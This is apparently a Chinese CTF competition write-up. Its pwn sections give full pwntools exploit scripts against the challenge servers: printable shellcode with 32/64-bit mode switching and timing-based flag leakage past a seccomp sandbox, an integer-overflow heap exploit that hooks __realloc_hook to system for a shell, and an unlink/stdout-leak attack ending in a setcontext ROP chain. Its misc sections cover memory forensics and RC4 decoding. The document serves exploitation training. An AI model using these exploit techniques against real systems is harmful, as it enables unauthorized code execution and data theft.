试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
gdb.attach(io)
def ad(idx, sz, d):
sla('>>', '1')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '1')
def md():
sla('>>', '1')
def rm(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
#for i in range(2):
# wirte
code = '''
lea r15, [rip + 0xf9] /* buf */
mov rdi, r15 /*buf*/
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall
/*read*/
mov rdi, 3
mov rsi, r15
mov rdx, 0x100
mov rax, 0
syscall
/*write*/
mov rdi, 1
mov rax, 1
syscall
'''
p = asm(code, arch = 'amd64')
p = p.ljust(0x100, b'\x00')
p += b'./flag\x00'
ad(-14, 0, p + b'\n')
# db()
# call
sla('>>', '4')
def finish():
ia()
c()
exploit()
finish()
shellcode
沙箱检查如下
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
输入的shellcode有检查
for ( i = 0; i < v6; ++i )
{
if ( v4[i] <= 31 || v4[i] == '\x7F' )
goto LABEL_10;
}
也就是机器码字符小于等于’\x31’的就退出或等于’\x7f’,我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现’\x00’,通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
在原来的shellcode + 0x120处实现输入,再跳到那个地方去。
采用alpha3工具生成可显示shellcode如下
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c
当然我也写了个函数方便修改。
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。
后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
由于不能使用write的系统调用,只能采用延时爆破了
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。
通过时间来判断是否想等。
总结:
这个题确实有点坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用爆破读出来。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.137.118:50050"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
# ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o
def exploit(idx, ch):
li('exploit...')
'''
git clone https://github.com/TaQini/alpha3.git
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
rax: shellcode base_address
'''
# python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
#p = gen_code()
p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
s(p)
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
#p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
sleep(0.01)
s(p)
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
p += asm(code, arch = 'amd64')
sleep(0.01)
s(p)
start = time.time()
try:
io.recv(timeout = 2)
except:
pass
end = time.time()
if (end - start > 1.5):
return ch
else:
return None
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
flag = ''
idx = 3
while True:
for ch in range(0x20, 127):
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
ret = exploit(idx, ch)
if(ret != None):
li('found: ' + chr(ch))
flag += chr(ch)
li('flag: ' + flag)
idx += 1
io.close()
pipeline
没有free函数,通过设置大小为0即可实现释放内存功能。
找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。
漏洞点
_QWORD *edit_body()
{
_QWORD *result; // rax
int size; // eax
int index; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_QWORD *buf; // [rsp+18h] [rbp-8h]
index = print("index: ");
result = (_QWORD *)get_buf(index);
buf = result;
if ( result )
{
result = (_QWORD *)*result;
if ( *buf )
{
v3 = print("size: ");
printf("data: ");
size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
if ( v3 <= size )
LOWORD(size) = v3; // vul
result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
}
}
return result;
}
一个整性溢出,因为采用LOWORD(size) = v3;
进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查
unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
unsigned __int64 result; // rax
if ( ptr < *(_QWORD *)check_mem_buf
|| (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
{
puts("error");
exit(0);
}
return result;
}
而check_mem_buf的值在初始化的时候赋予了
unsigned int init_()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
check_mem_buf = (__int64)malloc(0x10uLL);
*(_QWORD *)check_mem_buf = check_mem_buf + 16;
*(_QWORD *)(check_mem_buf + 8) = 0x21000LL; // memsize
return alarm(0x78u);
}
基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。
修改__realloc_hook
为system,再调用realloc函数即可调用system。
exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "59.110.173.239:2399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad():
sla('>>', '1')
def md(idx, of, sz):
sla('>>', '2')
sla(':', str(idx))
sla(':', str(of))
sla(':', str(sz))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
def ap(idx, sz, d):
sla('>>', '4')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '5')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
ad()
md(0, 0, 0x458)
ad()
md(0, 0, 0) # free
md(0, 0, 0x458) # add
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
li('libc_base: ' + hex(libc_base))
# leak heap
md(0, 0, 0) # free
md(0, 0, 0x18) # add
md(1, 0, 0x18) # add
#ap(0, -1, 'A')
ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
md(0, 0, 0) # free
md(1, 0, 0) # free
md(0, 0, 0x18) # add
dp(0)
ru('data: ')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('heap: ' + hex(heap))
ad()
md(1, 0x18, 0) # add 1
md(2, 0x18, 0) # add 2
ad()
md(3, 0x18, 0) # add 3
md(2, 0, 0) # free 2
md(3, 0, 0) # free 3
md(1, 0, 0) # free 1
li('target_chunk: ' + hex(heap + 0x460))
p = b'\x00' * 0x18
p += p64(0x21) + p64(heap + 0x460) + p64(0)
p += b'\n'
ap(0, -0x7ffff00, p)
md(3, 0, 0x18) # add 3
md(2, 0, 0x18) # add 2
p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
p += b'\n'
ap(2, 0x18, p)
ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')
ap(0, 0x18, '/bin/sh\x00\n')
md(0, 0, 0) # free , to get shell
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
babypwn
这个题也是个坑,打印函数采用加密
int __fastcall enc_print(unsigned int a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 2; i > 0; --i )
a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
return printf("%lx\n", a1);
}
采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。
漏洞点
unsigned __int64 __fastcall chc(_BYTE *a1)
{
unsigned __int64 ch_; // rax
while ( 1 )
{
ch_ = (unsigned __int8)*a1;
if ( !(_BYTE)ch_ )
break;
if ( *a1 == '\x11' ) // vul
{
ch_ = (unsigned __int64)a1;
*a1 = 0;
return ch_;
}
++a1;
}
return ch_;
}
在输入完数据后,会死循环读取数据,若出现’\x00’则跳出,若出现’\x11’修改该字节为’\x00’且跳出循环。这利用方式就跟off by one差不多了。
程序开了沙箱
__int64 sub_BAA()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。醉了。
那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout
泄漏libc,打通几率1 / 16,
泄漏之后,然后劫持__free_hook
为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108
处,这里我是放在__free_hook
高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook
上面。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.130.158:8888"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('>>', '1')
sla(':', str(sz))
def rm(idx):
sla('>>', '2')
sla(':', str(idx))
def md(idx, d):
sla('>>', '3')
sla(':', str(idx))
sa(':', d)
def dp(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0x108) # 0
ad(0x128) # 1
ad(0x118) # 2
ad(0x108) # 3
for i in range(7):
ad(0x100)
for i in range(4, 11):
rm(i)
for i in range(7):
ad(0xf0)
for i in range(4, 11):
rm(i)
rm(0) # set libc
md(2, 'A' * 0x118) # set last one
md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
md(3, b'A' * 0xf8 + p64(0x121)) # set fake size
rm(3) # unlink
ad(0x108) # 0
ad(0x108) # 3
ad(0x108) # 4
ad(0x108) # 5
ad(0x108) # 7
ad(0x108) # 8
ad(0x108) # 9
rm(2) # remove chunk1
ad(0xd0) # 2
ad(0x150) # 9
ad(0x130) # 10
#2760
md(10, '\x50\x97') # set to stdout
ad(0x118) # 11
ad(0x118) # 12
p = b'A' * 0x10
p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
md(12, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
li('libc_base: ' + hex(libc_base))
rm(11)
md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))
ad(0x130) # 11
ad(0x130) # 13
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
ret = libc_base + 0x00000000000008aa # ret
pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
syscall = libc_base + 0x11007f
'''
p = p64(libc_base + 0x520a5) # setcontext
p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(libc_open)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(libc_read)
p += p64(pop_rdi) + p64(1)
p += p64(libc_write)
p = p.ljust(0x120, b'\x00')
p += b'./flag'
'''
p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(pop_rax) + p64(0)
p += p64(syscall)
p += p64(pop_rdi) + p64(1)
p += p64(pop_rax) + p64(1)
p += p64(syscall)
p = p.ljust(0x100, b'\x00')
p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
p += p64(libc_base + 0x520a5) # setcontext
md(13, p) # modify free_hook
p = b'A' * 0xa0
p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
p += p64(ret) # rcx
md(11, p)
db()
rm(11)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process(elf_path, env = {'LD_PREALOAD': libc_path})
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
Misc
BlueTeaming
看文件头是7z,解压后得到memory,看题目要找关于powershell的脚本的注册表key,windows下应该是HKEY
如下图:
尝试用HxD搜索关键词powershell,HKEY,发现还真有….
尝试一下确实是这个….但真的吐槽一下,没有格式确实难找…..上午就看到了,晚上才想起来试
CipherMan
取证题,一个secret,用diskgenius挂载了一下发现有密码
用打蓝帽申请的取证大师看了一下memory:
(由于没有有效文件名,这时候我们可以规定为raw,这样就能用取证大师打开)
搜索bek文件,并没有
在desktop中发现:
https://windows10.pro/forget-bitlocker-password-unlocking-with-recovery-keys/
和这个对比了一下,应该是密钥,但是打开是乱码,到现在我也不知道怎么解决这个问题….这条路没走通,于是想着猜一下不太合理的字符串,比如bitlocker对应的序列号.
将文件按照访问时间排序,一个一个看:
Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
算是非预期把….试出来的…..flag长这样我也没想到…
ExtremelySlow
由pcapng可以导出一个pyc:
尝试在线反编译,发现有部分不能显示,让re手看了一下,
得到:
Instruction context:
L. 56 262 LOAD_NAME print
264 LOAD_NAME e
266 LOAD_METHOD decode
268 CALL_METHOD_0 0 ''
270 CALL_FUNCTION_1 1 ''
272 POP_TOP
-> 274 LOAD_CONST None
# file latest.pyc
# --- This code section failed: ---
L. 3 0 LOAD_CONST 0
2 LOAD_CONST None
4 IMPORT_NAME sys
6 STORE_NAME sys
L. 4 8 LOAD_CONST 0
10 LOAD_CONST ('sha256',)
12 IMPORT_NAME hashlib
14 IMPORT_FROM sha256
16 STORE_NAME sha256
18 POP_TOP
L. 6 20 LOAD_CODE <code_object KSA>
22 LOAD_STR 'KSA'
24 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
26 STORE_NAME KSA
L. 16 28 LOAD_CODE <code_object PRGA>
30 LOAD_STR 'PRGA'
32 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
34 STORE_NAME PRGA
L. 26 36 LOAD_CODE <code_object RC4>
38 LOAD_STR 'RC4'
40 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
42 STORE_NAME RC4
L. 30 44 LOAD_CODE <code_object xor>
46 LOAD_STR 'xor'
48 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
50 STORE_NAME xor
L. 33 52 LOAD_NAME __name__
54 LOAD_STR '__main__'
56 COMPARE_OP ==
58 POP_JUMP_IF_FALSE 139 'to 139'
L. 34 60 LOAD_CONST b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
62 STORE_NAME w
L. 35 64 LOAD_CONST b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
66 STORE_NAME e
L. 38 68 LOAD_CONST b'geo'
70 STORE_NAME b
L. 39 72 LOAD_CONST b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
74 STORE_NAME s
L. 41 76 LOAD_CONST b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
78 STORE_NAME t
L. 42 80 LOAD_CONST 115
82 LOAD_CONST 97
84 LOAD_CONST 117
86 LOAD_CONST 114
88 LOAD_CONST (2, 8, 11, 10)
90 BUILD_CONST_KEY_MAP_4 4
92 STORE_NAME m
L. 43 94 LOAD_CONST 119
96 LOAD_CONST 116
98 LOAD_CONST 124
100 LOAD_CONST 127
102 LOAD_CONST (3, 7, 9, 12)
104 BUILD_CONST_KEY_MAP_4 4
106 STORE_NAME n
L. 44 108 LOAD_NAME m
110 LOAD_DICTCOMP '<code_object <dictcomp>>'
112 LOAD_STR '<dictcomp>'
114 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
116 LOAD_NAME n
118 GET_ITER
120 CALL_FUNCTION_1 1 ''
122 INPLACE_OR
124 STORE_NAME m
L. 45 126 LOAD_NAME m
128 LOAD_GENEXPR '<code_object <genexpr>>'
130 LOAD_STR '<genexpr>'
132 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
134 LOAD_NAME b
136 GET_ITER
138 CALL_FUNCTION_1 1 ''
140 INPLACE_OR
142 STORE_NAME m
L. 47 144 LOAD_NAME RC4
146 LOAD_NAME list
148 LOAD_NAME map
150 LOAD_LAMBDA '<code_object <lambda>>'
152 LOAD_STR '<lambda>'
154 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
156 LOAD_NAME sorted
158 LOAD_NAME m
160 LOAD_METHOD items
162 CALL_METHOD_0 0 ''
164 CALL_FUNCTION_1 1 ''
166 CALL_FUNCTION_2 2 ''
168 CALL_FUNCTION_1 1 ''
170 CALL_FUNCTION_1 1 ''
172 STORE_NAME stream
L. 48 174 LOAD_NAME print
176 LOAD_NAME xor
178 LOAD_NAME w
180 LOAD_NAME stream
182 CALL_FUNCTION_2 2 ''
184 LOAD_METHOD decode
186 CALL_METHOD_0 0 ''
188 CALL_FUNCTION_1 1 ''
190 POP_TOP
L. 49 192 LOAD_NAME sys
194 LOAD_ATTR stdin
196 LOAD_ATTR buffer
198 LOAD_METHOD read
200 CALL_METHOD_0 0 ''
202 STORE_NAME p
L. 50 204 LOAD_NAME xor
206 LOAD_NAME e
208 LOAD_NAME stream
210 CALL_FUNCTION_2 2 ''
212 STORE_NAME e
L. 52 214 LOAD_NAME xor
216 LOAD_NAME p
218 LOAD_NAME stream
220 CALL_FUNCTION_2 2 ''
222 STORE_NAME c
L. 53 224 LOAD_NAME sha256
226 LOAD_NAME c
228 CALL_FUNCTION_1 1 ''
230 LOAD_METHOD digest
232 CALL_METHOD_0 0 ''
234 LOAD_NAME s
236 COMPARE_OP ==
238 POP_JUMP_IF_FALSE 131 'to 131'
L. 54 240 LOAD_NAME print
242 LOAD_NAME xor
244 LOAD_NAME t
246 LOAD_NAME stream
248 CALL_FUNCTION_2 2 ''
250 LOAD_METHOD decode
252 CALL_METHOD_0 0 ''
254 CALL_FUNCTION_1 1 ''
256 POP_TOP
258 LOAD_CONST None
260 RETURN_VALUE
L. 56 262 LOAD_NAME print
264 LOAD_NAME e
266 LOAD_METHOD decode
268 CALL_METHOD_0 0 ''
270 CALL_FUNCTION_1 1 ''
272 POP_TOP
274 LOAD_CONST None
276 RETURN_VALUE
应该是和RC4相关
根据这个写出脚本:
from hashlib import sha256
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j+S[i]+key[i%keylength])%256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i]+S[j])%256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p, stream):
return bytes(map((lambda x : x ^ stream.__next__()), p))
if __name__ == '__main__':
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {
2: 115,
8: 97,
11: 117,
10: 114 }
n = {
3: 119,
7: 116,
9: 124,
12: 127 }
m |= {x:x^n[x] for x in n}
m |= ((i.bit_count(),i) for i in b)
stream = RC4(list(map((lambda x: x[1]), sorted(m.items()))))
print(xor(w, stream).decode())
p = b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
e = xor(e, stream)
c = xor(p, stream)
if sha256(c).digest() == s:
print(xor(t, stream).decode())
else:
print(e.decode())
print(c)
EzTime
用Mft2Csv和LogFileParser-master来解析MFT和logfile得到csv文件
根据题意找到这个文件就是flag
iso1995
